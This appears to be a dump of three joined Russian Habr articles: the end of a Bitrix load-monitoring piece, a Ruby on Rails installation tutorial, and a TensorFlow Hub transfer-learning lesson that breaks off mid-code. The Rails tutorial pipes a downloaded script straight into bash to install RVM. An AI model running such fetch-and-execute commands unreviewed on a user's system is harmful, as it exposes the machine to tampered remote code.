Mar 11 03:42:39 ec2-* [0x00000000019677b8] GetCount() /var/www/html/bitrix/modules/tasks/classes/general/task.php:1505
Mar 11 03:42:39 ec2-* [0x0000000001964998] GetCountInt() /var/www/html/bitrix/components/bitrix/tasks.filter/component.php:105`
Мы часто пользуемся данным функционалом, т.к. он сокращает время поиска причины в разы.
##### «Замыкаем» системных администраторов на разработчиков
Настроив сбор ключевой статистики по хитам клиентов интернет-магазина, нужно создать постоянно действующий бизнес-процесс по доработке и оптимизации веб-решения:
— Раз в сутки статистика рассылается всем участникам технологического процесса и Вам
— При превышении заранее оговоренных показателей автоматически начинается поиск и устранение ошибок/оптимизация кода веб-проекта
В качестве целевых критериев можно взять:
— Число показов клиентам страницы о регламентных работах (т.е. число ошибок 50х) — 0
— Число хитов в публичной части, обслуженных быстрее 0.5 секунды — 100%
— Число хитов в админке (где могут выполняться «тяжелые» аналитические выборки), быстрее 10 секунд — 100%. Среднее время хита в админке — 0.5 сек.
— Максимальный объем памяти, использованный скриптом — менее 128МБ, средний — 32МБ.
##### Итоги
Настроив сбор и обработку ключевой статистики высоконагруженного веб-решения в течение одного-двух дней, определив целевые показатели качества обслуживания клиентов и настроив рассылку статистики — Вы создали постоянно действующий бизнес-процесс контроля и обеспечения устойчивого качества проекта — что, разумеется, позитивно скажется на удовлетворенности посетителей интернет-магазина и конверсии. В случае кратковременного выхода показателей из «зеленой зоны» по причине нехватки вычислительных мощностей, постоянного развития функционала проекта, ошибок и т.п. — все задействованные в процессе разработки и эксплуатации службы об этом сразу узнают и система достаточно быстро вернется в стабильное состояние :-), даже если вы будете в отпуске.
##### P.S.
В следующей статье мы рассмотрим способы организации он-лайн сбора и анализа ключевых показателей высоконагруженного веб-проекта с использованием pinba, nagios, awk. Иногда узнать из статистики к исходу дня что клиенты увидели 50000 страниц о регламентных работах — просто недопустимо :-) и необходимо реагировать оперативно в течении 5-10 минут. Тем не менее, ежесуточная статистика даже в этом случае — будет очень полезна. Удачи! | https://habr.com/ru/post/139721/ | null | ru | null |
# Ruby on Rails. Установка, настройка, начало работы
#### Зачем.
В этой маленькой статье, которую с удовольствием прочитал бы сам неделю назад, я попытался собрать все вещи, которые понадобились бы человеку, задумай он «с нуля» написать приложение на RoR. То есть не углубляясь ни в одну из областей, описать необходимый минимум действий, чтобы установить, настроить и написать своё первое приложение.Здесь собрано, как мне кажется, всё, что нужно и я надеюсь этот текст сэкономит кому-нибудь несколько часов поиска в интернете). Сам изучаю RoR вторую неделю, так что не судите строго).
#### Установка.
Просто и быстро ror ставится через rvm c [rvm.io](https://rvm.io/).
```
>\curl -L https://get.rvm.io | bash -s stable --rails --autolibs=enabled
```
Запустить rvm:
```
>source /Путь_к_домашней_директории*/.rvm/scripts/rvm
```
\*$HOME в дальнейшем.
После этого в $HOME/.bash\_profile должна появиться строчка:
```
[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm" # Load RVM into a shell session *as a function*
```
и при каждом открытии консоли rvm будет подгружаться, но у меня этого не случилось — пришлось ещё в $HOME/bashrc прописывать:
```
. ~/.bash_profile
```
Теперь всё точно должно быть хорошо.
Устанавливаем нужную(скорее всего это будет самая последняя) версию руби (сколько их и в чём отличие можно посмотреть здесь -http://www.ruby-lang.org).
```
>rvm install 1.9.3
```
Проверка на успешность создания
```
>ruby -v
```
должна вернуть более подробную информацию, вроде
```
ruby 1.9.2p320 (2012-04-20 revision 35421) [x86_64-linux].
```
В процессе установки я случайно установил несколько версий, что потом доставило некоторые неприятности). Посмотреть список установленных версий руби можно так:
>rvm list
Если версий несколько, то текущая будет помечена "=>", дефолтная — "\*", а текущая и дефолтная — "=\*". Поменять на нужную используемую версию можно так:
```
>rvm use ruby-1.9.2-p320 (любая нужная версия)
```
Чтобы поменять дефолтную версию руби пишем:
```
>rvm use ruby-1.9.2-p320 --default
```
#### Создание проекта.
Теперь можно перейти непосредственно к созданию проекта. Создаём папку $HOME/ROR/tickets, заходим в неё и делаем следующее.
```
>sudo gem install bundler
>rails new tickets
```
При создании проекта будут сгенерированы все необходимые директории(app,config,db,log и т.п.) и конфигурационные файлы в указанной папке. Для работы небольшого тестового проекта нам потребуется, в моём случае, база данных PostgreSQL, пара gem-ов(библиотек) и запущенный rails сервер).
Для запуска сервера нужно, находясь в корне папки с созданным проектом запустить команду:
```
>rails s -p 3000
```
где s — команда запуска сервера(server), а -p 3000 -номер порта(port), по которому будет доступен проект. Что бы запустить консоль, нужно набрать:
```
>rails c
```
где с- сокращение от console
Список всех команд можно посмотреть, набрав
>rails --h. Теперь по адресу [localhost](http://localhost):3000 мы увидем стартовую страницу проекта. Так же можно запускать любое количество серверов других проектов на других, не занятых портах. В ходе работы. у меня в один момент по какой-то неведомой мне причине возникла проблема с запуском сервера — выдавалась ошибка, что сервер уже запущен — для её решения нужно просто удалить файл $HOME/ROR/tickets/config/tmp/pids/server.pid и запустить сервер ещё раз.
#### База данных.
Чтобы работать с постгресом, добавляем в конец файла Gemfile, который должен находится в корне проекта, строчку
>gem 'pg'
сохраняем файл и делаем
```
>bundle install
```
его мы делаем каждый раз, когда вносим изменения в Gemfile, а потом ещё и перезапускаем сервер. Чтобы сюда больше не возвращаться, сразу же добавляем и
>gem 'haml-rails' для быстрой и удобной(после того как привыкнешь)) разметки шаблонов-представлений. Теперь отредактируем атрибуты конекта к постгресу в файле database.yml. Он находится в папке $HOME/ROR/tickets/config/ и должен будет содержать такой блок:
```
development:
host: localhost
adapter: postgresql
encoding: unicode
database: tickets
pool: 5
username: tickets
```
с нужными пользователем и именем БД, у меня это tickets и tickets соответственно).
Вроде бы все приготовления закончены и можно приступать к созданию модели, контроллера и представления.
#### Модель.
Создаём модель:
```
>rails g model user
```
где g- сокращение от generate
Название модели пишем в единственном числе — таблица в бд будет во множественном. Эта команда создаст файлы модели и миграции в $HOME/ROR/tickets/app/models/user.rb и $HOME/ROR/tickets/app/db/migrate/20130425081208\_create\_users.rb. все файлы контроллеров и моделей имеют расширение .rb, представлений — .html.haml(в нашем случае использования haml). Посредством миграции мы будем управлять работой с таблицами в БД через консоль, что весьма удобно(опять таки, когда привыкаешь), так же ониобеспечивают простоту переноса приложения, на другой сервер, например. Добавляем нужные поля:
```
class CreateUsers < ActiveRecord::Migration
def up
create_table :users do |t|
t.string :name, null: false
t.boolean :role, null: false, default: false
t.datetime :reg_date
t.timestamps
end
end
def down
drop_table :users
end
end
```
Создаём два метода — up и down, которые используются по умолчанию функциями работы с миграциями — они, соответственно, создают и удаляют нашу таблицу. Названия типы данных будут зависеть от используемой БД. Первичный ключ создаётся по умолчанию и будет называться id, но его можно задать и явно:
```
create_table :users, :primary_key => :users_id do |t|
```
А если мы не хотим создавать первмчный ключ вообще, пишем так:
```
create_table :users, :id => false do |t|
```
Сохраняем и пишем в консоле:
```
>rake db:migrate
```
В результате действия этой команды выполняются все невыполненные методы up из файлов миграций в директории $HOME/ROR/tickets/app/db/migrate/. Все сведения о состоянии таблиц можно посмотреть в файле $HOME/ROR/tickets/app/db/shema.rb.
```
>rake db:rollback
```
Запускает метод down последней выполненной миграции, в результате чего таблица удаляется из БД. Чтобы откатить больше миграций, нужно добавить к команде rollback параметр STEP:
```
>rake db:rollback STEP=3
```
эта команда откатит три последние миграции. Посмотреть статус всех миграций в консоли:
```
>rake db:migrate:status
```
Если нужно запустить какой-то определённый метод из определённой миграции, то добавляем параметр VERSION:
```
>rake db:migrate:up VERSION=000001
```
В файле модели ($HOME/ROR/tickets/app/models/user.rb) нам пока нужно сделать только одно — определить поля таблицы, которые будут доступны для изменения из контроллера, в целях безопасности, как я понимаю). Для этого пишем в нём следующее:
```
class User < ActiveRecord::Base
attr_accessible :name, :role
end
```
Кстати, синтаксис haml очень чувствителен к табуляциям — их очень хорошо можно отслеживать в редакторе, которым пользуюсь я — Sublime Text.
Пока приложение не работает, для того, чтобы удостовериться, что все созданные таблицы действительно созданы и функционируют как им и положено, можно воспользоваться раилс консолью:
```
>user = User.new(name:"Test",role:"true")
```
эта команда не сделает запись в таблицу, но создаст объект руюи в памяти со всеми установленными атрибутами. А теперь сделаем запись:
```
>user.save
```
в случае успеха должна вернуть true. Запись можно создать и одной командой — create:
```
>User.create(name:"Test",role:"true")
```
Чтобы проверить есть ли объект в БД, можно использовать find:
```
>User.find(1)
```
вернёт объект или ошибку: «ActiveRecord::RecordNotFound: Couldn't find User with id=1», а так же и сам сгенерированный sql-запрос к БД.
Искать можно и по конкретным полям:
```
>User.find_by_name("Test")
```
Ещё несколько удобных методов, которые наверняка пригодятся на первых порах:
>User.first и User.last -вернут первую и последнюю запись в таблице соответственно, а User.all вернёт массив всех объектов таблицы.
#### Контроллер.
Создаём контроллер:
```
>rails g controller users
```
В результате этой команды будут созданы файл контроллера: $HOME/ROR/tickets/app/controllers/users\_controller.rb и директория для представлений:
$HOME/ROR/tickets/app/views/users/. Каждому методу котроллера будет соответствовать представление с таким же названием, в этой папке. Их можно создавать вручную, а можно и сразу при создании контроллера:
```
>rails g controller users index,list
```
В этом случае файлы представлений создадутся автоматически в папке $HOME/ROR/tickets/app/views/users/ и будут называться (если вы не забыли подключить haml) index.html.haml и list.html.haml. Удалить контроллер можно так:
```
>rails d controller users
```
где d- сокращение от destroy
Определять метод index, который создаётся по умолчанию, не обязательно. Содержимое нашего контроллера users будет таким:
```
class UsersController < ApplicationController
def list
@users_list=User.all
end
end
```
В users\_list будет массив объектов пользователей, которых мы по идее уже понадобавляли из консоли, а "@" означает, что переменная будет передана в шаблон.
#### Представление.
Теперь создаёи представление, я просто создал этот файл руками в нужной директории:
$HOME/ROR/tickets/app/views/users/list.html.haml
Документацию по HAML можно почитать здесь (http://haml.info/tutorial.html), а пока набо понадобится минимум знаний о нём, например то, что вместо открывающего и закрывающего тега в нём используется "%tag". То есть после рендеринга шаблона, содержащего %html, мы получим страницу с
```
```
. Уровень вложенности задаётся табуляцией, атрибуты тегов пишутся «хешеобразно» в фигурных скобках:
```
%td{colspan=>"2"}
```
превратится в
```
|
```
, а содержимое — через пробел: %td test. Таким образом содержимое нашего представления:
```
%table{:border=>"1"}
%tr
%td Логин
%td Администратор
- @users_list.each do |users|
%tr
%td= users.name
%td
%input{:type=>"checkbox",:name=>"role_#{users.id}",:checked=>users.role}
%br
```
Дефис — исполняемый код в шаблоне. Здесь мы проходимся по массиву объектов и выводим в цикле его методы — поля name и role и id.
Все представления «оборачиваются» в главный шаблон, который находится в $HOME/ROR/tickets/app/views/layouts/application.html.haml
Удаляем всё, что в нём есть и делаем его максимально простым:
```
!!!
%html{:lang => "en"}
%head
%title Test
%body
=yield
```
Содержимое всех наших сгенерированных шаблонов подставляется вместо =yield. Главное не ошибится с уровнями вложенности, меня это поначалу очень напрягало).
#### Маршруты.
И остался только один маленький шаг — редактирование файла-конфига маршрутов(url) — routes.rb. Он находится в $HOME/ROR/tickets/config/. В нём описываются все маршруты нашего проекта. Сейчас там будет только две записи:
```
Tickets::Application.routes.draw do
root :to => "users#index"
#GET Urls
get "users/list"
end
```
Это рутовый путь на «главную» страницу(будет показываться содержимое шаблона /users/index.html.haml, даже несмотря на то, что метод index в контроллере не определён) и путь к странице вывода списка пользователей. В случае, если к методу будет пост запрос, он должен будет прописываться так:
post «users/add».
Теперь всё должно работать) | https://habr.com/ru/post/180577/ | null | ru | null |
# Погружение в свёрточные нейронные сети: передача обучения (transfer learning)
Полный курс на русском языке можно найти по [этой ссылке](https://www.youtube.com/playlist?list=PLfdVzZl6HHg9y9l6U5xUjqKS13rWoQPF4).
Оригинальный курс на английском доступен по [этой ссылке](https://www.udacity.com/course/intro-to-tensorflow-for-deep-learning--ud187).
Содержание
==========
1. Интервью с Себастьяном Труном
2. Введение
3. Передача модели обучения (transfer learning)
4. MobileNet
5. CoLab: Кошки Vs Собаки с передачей обучения
6. Погружаемся в свёрточные нейронные сети
7. Практическая часть: определение цветов с передачей обучения
8. Итоги
Интервью с Себастьяном Труном
=============================
— Это 6 урок и он полностью посвящён передаче обучения (transfer learning). Передача обучения это процесс использования существующей модели с небольшими доработками для новых задач. Передача обучения помогает сократить время обучения модели давая некоторый прирост эффективности при обучении в самом начале. Себастьян, а что же вы думаете про передачу обучения? Удавалось ли вам когда-либо использовать методику передачи обучения в своих работах и исследованиях?
— Моя диссертация была посвящена как раз теме передачи обучения и называлась "[Пояснение на основе передачи обучения](http://robots.stanford.edu/papers/thrun.book.html)". Когда мы работали над диссертацией идея заключалась в том, что можно на одном объекте (наборе данных, сущности) в различных вариациях и форматах обучить различать все остальные объекты подобного рода. В работе мы использовали разработанный алгоритм, который выделял основные характеристики (признаки) объекта и мог их сравнить с другим объектом. Сейчас такие библиотеки как Tensorflow уже поставляются с заранее обученными моделями.
— Да, в Tensorflow у нас полный набор готов предобученных моделей, которые вы можете использовать при решения практических задач. О готовых наборах мы поговорим немного позже.
— Да-да! Если подумать, то люди занимаются передачей обучения всё время на протяжении всей жизни.
— Можем ли мы утверждать, что благодаря методике пердачи обучения наши новые студенты в какой-то момент не должны будут знать что-то о машинном обучение потому что будет достаточно подключить уже готовую модель и использовать её?
— Программирование — это написание строчки за строчкой, мы даём команды компьютеру. Наша цель сделать так, чтобы все на планеты умели и могли программировать предоставляя компьютеру только примеры входных данных. Согласитесь, если вы хотите научить компьютер отличать кошек от собак, то найти 100к различных изображений кошек и 100к различных изображений собак достаточно затруднительно, а благодаря методике передачи обучения вы можете решить эту задачу в несколько строк.
— Да, это действительно так! Благодарю за ответы и давайте наконец-то перейдём к обучению.
Введение
========
— Привет и с возвращением!
— В прошлый раз мы с вами обучили свёрточную нейронную сеть классифицировать кошек и собак на изображении. Первая наша нейронная сеть переобучалась, поэтому её результат был не столь высок — примерно 70% точности. После этого мы с вами реализовали расширение данных и dropout (произвольное отключение нейронов), которые позволили увеличить точность предсказаний до 80%.
— Несмотря на то, что 80% могут показаться отличным показателем, 20%-ая ошибка всё ещё слишком велика. Не так ли? Что же мы можем сделать, чтобы увеличить точность классификации? На этом занятии при воспользуемся техникой передачи знаний (передача модели знаний), которая позволит воспользоваться моделью разработанной экспертами и натренированной на огромных массивах данных. Как мы увидим на практике, с помощью передачи модели знаний мы сможем добиться 95% точности классификации. Давайте приступим!
Передача модели обучения
========================
В 2012 году нейронная сеть AlexNet произвела переворот в мире машинного обучения и популяризовала использование свёрточных нейронных сетей для классификации выиграв соревнование ImageNet Large Scale Visual recognition challenge.
После этого началась борьба за разработку более точных и эффективных нейронных сетей, которые могли бы превзойти AlexNet в задачах классификации изображений из набора данных ImageNet.
В течение нескольких лет были разработаны нейронные сети, которые справлялись с задачей классификации лучше, чем AlexNet — Inception и ResNet.
Согласитесь, что было бы здорово иметь возможность воспользоваться этими нейронными сетями, уже обученными на огромных массивах данных из ImageNet и использовать их в своём классификаторе кошек и собак?
Оказывается, что мы можем это сделать! Методика называется transfer learning (передача модели обучения). Основная идея метода передачи модели обучения основывается на том, что обучив нейронную сеть на большом наборе данных мы можем применить полученную модели и к набору данных, который раньше эта модель ещё не встречала. Именно поэтому методика называется transfer learning — передача процесса обучения с одного набора данных на другой.
Для того, чтобы мы могли применить методику передачи модели обучения нам понадобится изменить последний слой нашей свёрточной нейронной сети:
Мы выполняем эту операцию потому, что каждый набор данных состоит из различного количества выходных классов. Например, наборы данных в ImageNet содержат 1000 различных выходных классов. FashionMNIST содержит 10 классов. Наш набор данных для классификации состоит лишь из 2 классов — кошки и собаки.
Именно поэтому необходимо изменить последний слой нашей свёрточной нейронной сети, чтобы он содержал то количество выходов, которое бы соответствовало количеству классов в новом наборе.
Так же нам необходимо убедиться, что мы не изменим заранее обученную модель во время процесса тренировки. Решение заключается в отключении переменных предобученной модели — мы просто запретим алгоритму обновляющему значения при прямом и обратно распространении их менять.
Этот процесс называется "заморозкой модели" (freezing the model).
"Замораживая" параметры предобученной модели мы позволяем обучаться только последнему слою сети классификации, значения переменных предобученной остаются неизменными.
Ещё одно неоспоримое преимущество предобученных моделей заключается в том, что мы сокращаем время обучения тренируя только последний слой со значительно меньшим количеством переменных, а не всю модель.
Если мы не "заморозим" переменные предобученной модели, то в процессе обучения на новом наборе данных значения переменных будут меняться. Это происходит потому, что значения переменных на последнем слое классификации будут заполненны случайными значениями. Из-за случайных значений на последнем слое наша модель будет допускать большие ошибки в классификации, что, в свою очередь, повлечёт сильные изменения исходных весов в предобученной модели, что крайне нежелательно для нас.
Именно по этой причине мы всегда должны помнить о том, что при использовании существующих моделей значения переменных стоит "замораживать" и отключать необходимость обучения предобученной модели.
Теперь, когда мы знаем как работает передача модели обучения, нам осталось выбрать предобученную нейронную сеть для применения в собственном классификаторе! Этим мы займёмся в следующей части.
MobileNet
=========
Как мы уже упоминали ранее, были разработаны крайне эффективные нейронные сети, которые показывали высокие результаты на наборах данных ImageNet — AlexNet, Inception, Resonant. Эти нейронные сети представляют собой очень глубокие сети и содержит в себе тысячи и даже миллионы параметров. Большое количество парамеров позволяет сети обучиться более сложным паттернам и тем самым добиться повышенной точности классификаций. Большое количество обучающих параметров нейронной сети сказывается на скорости обучения, количестве требуемой памяти для хранения сети и сложности производимых вычислений.
В этом уроке мы воспользуемся современной свёрточной нейронной сетью MobileNet. MobileNet представляет собой эффективную архитектуру свёрточной нейронной сети, которая уменьшает количество используемой памяти для вычислений сохраняя при этом высокую точность предсказаний. Именно поэтому MobileNet является идеальным вариантом для использования на мобильных устройствах с ограниченным количеством памяти и вычислительных ресурсов.
MobileNet была разработана в компании Google и обучена на наборе данных ImageNet.
Так как MobileNet была обучена на 1 000 классах из набора данных ImageNet, то у MobileNet 1 000 выходных классов, вместо двух, которые нам нужны — кошка и собака.
Для выполнения передачи обучения мы предварительно загрузим вектор признаков без слоя классификации:
В Tensorflow загруженный вектор признаков может быть использован как обычный Keras-слой с входными данными определённого размера.
Так как MobileNet была обучена на наборе данных ImageNet, то нам необходимо будет привести размер входных данных к тем, которые были использованы в процессе обучения. В нашем случае MobileNet была обучена на RGB-изображениях фиксированного размера 224х224px.
TensorFlow содержит в себе репозиторий с предобученными моделями, который называется TensorFlow Hub.
TensorFlow Hub содержит некоторые предобученные модели в которых последний слой классификации был исключён из архитектуры нейронной сети для последующего переиспользования.
Использовать TensorFlow Hub в коде можно в несколько строк:
Достаточно указать URL вектора признаков нужной обучающей модели и затем встроить модель в наш классификатор с указанием последнего слоя с нужным количеством выходных классов. Именно последний слой и будет подвергнут обучению и изменению значений параметров. Компиляция и тренировка нашей новой модели осуществляется таким же образом, как мы делали это раньше:
Давайте посмотрим каким образом это будет работать на самом деле и напишем соответствующий код.
CoLab: Кошки Vs Собаки с передачей обучения
===========================================
Ссылка на [CoLab на русском](https://colab.research.google.com/drive/1OSBzHjQ86xY-iJCemDPt_gDSLtudKHO4) и [CoLab на английском](https://colab.research.google.com/github/tensorflow/examples/blob/master/courses/udacity_intro_to_tensorflow_for_deep_learning/l06c01_tensorflow_hub_and_transfer_learning.ipynb).
TensorFlow Hub представляет собой репозиторий с предобученными моделями, которые мы с вами можем использовать.
Передача обучения это процесс в котором мы берём заранее предобученную модель и расширяем её для выполнения определенной задачи. При этом часть предобученной модели, которую мы интегрируем в нейронную сеть, мы оставляем нетронутой, а лишь обучаем последние выходные слои для получения нужного результата.
В этой практической части мы протестируем оба варианта.
По [этой ссылке](https://tfhub.dev/) можно изучить весь перечень доступных моделей.
**В этой части Colab**
1. Воспользуемся TensorFlow Hub-моделью для предсказаний;
2. Воспользуемся TensorFlow Hub-моделью для набора данных кошек и собак;
3. Проведём передачу обучения с использованием модели из TensorFlow Hub.
Перед тем как приступать к выполнению текущей практической части рекомендуем сбросить настройки окружения `Runtime -> Reset all runtimes...`
**Импорты библиотек**
В этой практической части мы будем использовать ряд возможностей библиотеки TensorFlow, которых ещё нет в официальном релизе. Именно поэтому мы сперва установим версию TеnsorFlow и TensorFlow Hub для разработчиков.
Установка dev-версии TensorFlow автоматически активирует последнюю установленную версию. После того как мы закончим разбираться с этой практической частью, то рекомендуем восстановить настройки TensorFlow и вернуться к стабильной версии через пункт меню `Runtime -> Reset all runtimes...`. Выполнение этой команды сбросит все настройки окружения до первоначальных.
```
!pip install tf-nightly-gpu
!pip install "tensorflow_hub==0.4.0"
!pip install -U tensorflow_datasets
```
Вывод:
```
Requirement already satisfied: absl-py>=0.7.0 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (0.8.0)
Requirement already satisfied: protobuf>=3.6.1 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (3.7.1)
Requirement already satisfied: google-pasta>=0.1.6 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (0.1.7)
Collecting tf-estimator-nightly (from tf-nightly-gpu)
Downloading https://files.pythonhosted.org/packages/ea/72/f092fc631ef2602fd0c296dcc4ef6ef638a6a773cb9fdc6757fecbfffd33/tf_estimator_nightly-1.14.0.dev2019092201-py2.py3-none-any.whl (450kB)
|████████████████████████████████| 450kB 45.9MB/s
Requirement already satisfied: numpy<2.0,>=1.16.0 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (1.16.5)
Requirement already satisfied: wrapt>=1.11.1 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (1.11.2)
Requirement already satisfied: astor>=0.6.0 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (0.8.0)
Requirement already satisfied: opt-einsum>=2.3.2 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (3.0.1)
Requirement already satisfied: wheel>=0.26 in /usr/local/lib/python3.6/dist-packages (from tf-nightly-gpu) (0.33.6)
Requirement already satisfied: h5py in /usr/local/lib/python3.6/dist-packages (from keras-applications>=1.0.8->tf-nightly-gpu) (2.8.0)
Requirement already satisfied: markdown>=2.6.8 in /usr/local/lib/python3.6/dist-packages (from tb-nightly<1.16.0a0,>=1.15.0a0->tf-nightly-gpu) (3.1.1)
Requirement already satisfied: setuptools>=41.0.0 in /usr/local/lib/python3.6/dist-packages (from tb-nightly<1.16.0a0,>=1.15.0a0->tf-nightly-gpu) (41.2.0)
Requirement already satisfied: werkzeug>=0.11.15 in /usr/local/lib/python3.6/dist-packages (from tb-nightly<1.16.0a0,>=1.15.0a0->tf-nightly-gpu) (0.15.6)
Installing collected packages: tb-nightly, tf-estimator-nightly, tf-nightly-gpu
Successfully installed tb-nightly-1.15.0a20190911 tf-estimator-nightly-1.14.0.dev2019092201 tf-nightly-gpu-1.15.0.dev20190821
Collecting tensorflow_hub==0.4.0
Downloading https://files.pythonhosted.org/packages/10/5c/6f3698513cf1cd730a5ea66aec665d213adf9de59b34f362f270e0bd126f/tensorflow_hub-0.4.0-py2.py3-none-any.whl (75kB)
|████████████████████████████████| 81kB 5.0MB/s
Requirement already satisfied: protobuf>=3.4.0 in /usr/local/lib/python3.6/dist-packages (from tensorflow_hub==0.4.0) (3.7.1)
Requirement already satisfied: numpy>=1.12.0 in /usr/local/lib/python3.6/dist-packages (from tensorflow_hub==0.4.0) (1.16.5)
Requirement already satisfied: six>=1.10.0 in /usr/local/lib/python3.6/dist-packages (from tensorflow_hub==0.4.0) (1.12.0)
Requirement already satisfied: setuptools in /usr/local/lib/python3.6/dist-packages (from protobuf>=3.4.0->tensorflow_hub==0.4.0) (41.2.0)
Installing collected packages: tensorflow-hub
Found existing installation: tensorflow-hub 0.6.0
Uninstalling tensorflow-hub-0.6.0:
Successfully uninstalled tensorflow-hub-0.6.0
Successfully installed tensorflow-hub-0.4.0
Collecting tensorflow_datasets
Downloading https://files.pythonhosted.org/packages/6c/34/ff424223ed4331006aaa929efc8360b6459d427063dc59fc7b75d7e4bab3/tensorflow_datasets-1.2.0-py3-none-any.whl (2.3MB)
|████████████████████████████████| 2.3MB 4.9MB/s
Requirement already satisfied, skipping upgrade: future in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (0.16.0)
Requirement already satisfied, skipping upgrade: wrapt in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (1.11.2)
Requirement already satisfied, skipping upgrade: dill in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (0.3.0)
Requirement already satisfied, skipping upgrade: numpy in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (1.16.5)
Requirement already satisfied, skipping upgrade: requests>=2.19.0 in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (2.21.0)
Requirement already satisfied, skipping upgrade: tqdm in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (4.28.1)
Requirement already satisfied, skipping upgrade: protobuf>=3.6.1 in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (3.7.1)
Requirement already satisfied, skipping upgrade: psutil in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (5.4.8)
Requirement already satisfied, skipping upgrade: promise in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (2.2.1)
Requirement already satisfied, skipping upgrade: absl-py in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (0.8.0)
Requirement already satisfied, skipping upgrade: tensorflow-metadata in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (0.14.0)
Requirement already satisfied, skipping upgrade: six in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (1.12.0)
Requirement already satisfied, skipping upgrade: termcolor in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (1.1.0)
Requirement already satisfied, skipping upgrade: attrs in /usr/local/lib/python3.6/dist-packages (from tensorflow_datasets) (19.1.0)
Requirement already satisfied, skipping upgrade: idna<2.9,>=2.5 in /usr/local/lib/python3.6/dist-packages (from requests>=2.19.0->tensorflow_datasets) (2.8)
Requirement already satisfied, skipping upgrade: certifi>=2017.4.17 in /usr/local/lib/python3.6/dist-packages (from requests>=2.19.0->tensorflow_datasets) (2019.6.16)
Requirement already satisfied, skipping upgrade: chardet<3.1.0,>=3.0.2 in /usr/local/lib/python3.6/dist-packages (from requests>=2.19.0->tensorflow_datasets) (3.0.4)
Requirement already satisfied, skipping upgrade: urllib3<1.25,>=1.21.1 in /usr/local/lib/python3.6/dist-packages (from requests>=2.19.0->tensorflow_datasets) (1.24.3)
Requirement already satisfied, skipping upgrade: setuptools in /usr/local/lib/python3.6/dist-packages (from protobuf>=3.6.1->tensorflow_datasets) (41.2.0)
Requirement already satisfied, skipping upgrade: googleapis-common-protos in /usr/local/lib/python3.6/dist-packages (from tensorflow-metadata->tensorflow_datasets) (1.6.0)
Installing collected packages: tensorflow-datasets
Successfully installed tensorflow-datasets-1.2.0
```
Некоторые импорты мы уже с вами видели и использовали раньше. Из нового — импорт `tensorflow_hub`, который мы установили и который будем использовать в этой практической части.
```
from __future__ import absolute_import, division, print_function, unicode_literals
import matplotlib.pylab as plt
import tensorflow as tf
tf.enable_eager_execution()
import tensorflow_hub as hub
import tensorflow_datasets as tfds
from tensorflow.keras import layers
```
Вывод:
```
WARNING:tensorflow:
TensorFlow's `tf-nightly` package will soon be updated to TensorFlow 2.0.
Please upgrade your code to TensorFlow 2.0:
* https://www.tensorflow.org/beta/guide/migration_guide
Or install the latest stable TensorFlow 1.X release:
* `pip install -U "tensorflow==1.*"`
Otherwise your code may be broken by the change.
```
```
import logging
logger = tf.get_logger()
logger.setLevel(logging.ERROR)
```
**Часть 1: используем TensorFlow Hub MobileNet для предсказаний**
В этой части CoLab мы возьмём предобученную модель, загрузим её в Keras и протестируем.
Модель, которую мы используем — MobileNet v2 (вместо MobileNet может быть использована любая другая совместимая с tf2 модель классификатора изображений с tfhub.dev).
**Загрузите классификатор**
Загрузите MobileNet-модель и создайте из неё Keras-модель. MobileNet на входе ожидает получить изображение размером 224х224 пикселя с 3 цветовыми каналами (RGB).
```
CLASSIFIER_URL = "https://tfhub.dev/google/tf2-preview/mobilenet_v2/classification/2"
IMAGE_RES = 224
model = tf.keras.Sequential([
hub.KerasLayer(CLASSIFIER_URL, input_shape=(IMAGE_RES, IMAGE_RES, 3))
])
```
**Запустите классификатор на единственном изображении**
MobileNet была обучена на наборе данных ImageNet. ImageNet содержит 1000 выходных классов и один из таких классов — военная форма. Давайте найдём изображение на котором будет находиться военная форма и которая не будет являться частью обучающего набора ImageNet для проверки точности классификации.
```
import numpy as np
import PIL.Image as Image
grace_hopper = tf.keras.utils.get_file('image.jpg', 'https://storage.googleapis.com/download.tensorflow.org/example_images/grace_hopper.jpg')
grace_hopper = Image.open(grace_hopper).resize((IMAGE_RES, IMAGE_RES))
grace_hopper
```
Вывод:
```
Downloading data from https://storage.googleapis.com/download.tensorflow.org/example_images/grace_hopper.jpg
65536/61306 [================================] - 0s 0us/step
```
```
grace_hopper = np.array(grace_hopper)/255.0
grace_hopper.shape
```
Вывод:
```
(224, 224, 3)
```
Имейте ввиду, что модели всегда на входе получают набор (блок) изображений для обработки. В коде ниже мы добавляем новую размерность — размер блока.
```
result = model.predict(grace_hopper[np.newaxis, ...])
result.shape
```
Вывод:
```
(1, 1001)
```
Результатом предсказания стал вектор размером 1 001 элемент, где каждое значение представляет собой вероятность принадлежности объекта на изображении определенному классу.
Позиция максимаьного значения вероятности может быть найдена при помощи функции `argmax`. Однако есть вопрос на который мы до сих пор не ответили — как мы можем определить, к какому классу относится элемент с максимальной вероятностью?
```
predicted_class = np.argmax(result[0], axis=-1)
predicted_class
```
Вывод:
```
653
```
**Расшифровываем предсказания**
Для того чтобы мы могли определить класс к которому относится предсказания загрузим список меток ImageNet и по индексу с максимальной веростностью определим класс к которому относится предсказание.
```
labels_path = tf.keras.utils.get_file('ImageNetLabels.txt','https://storage.googleapis.com/download.tensorflow.org/data/ImageNetLabels.txt')
imagenet_labels = np.array(open(labels_path).read().splitlines())
plt.imshow(grace_hopper)
plt.axis('off')
predicted_class_name = imagenet_labels[predicted_class]
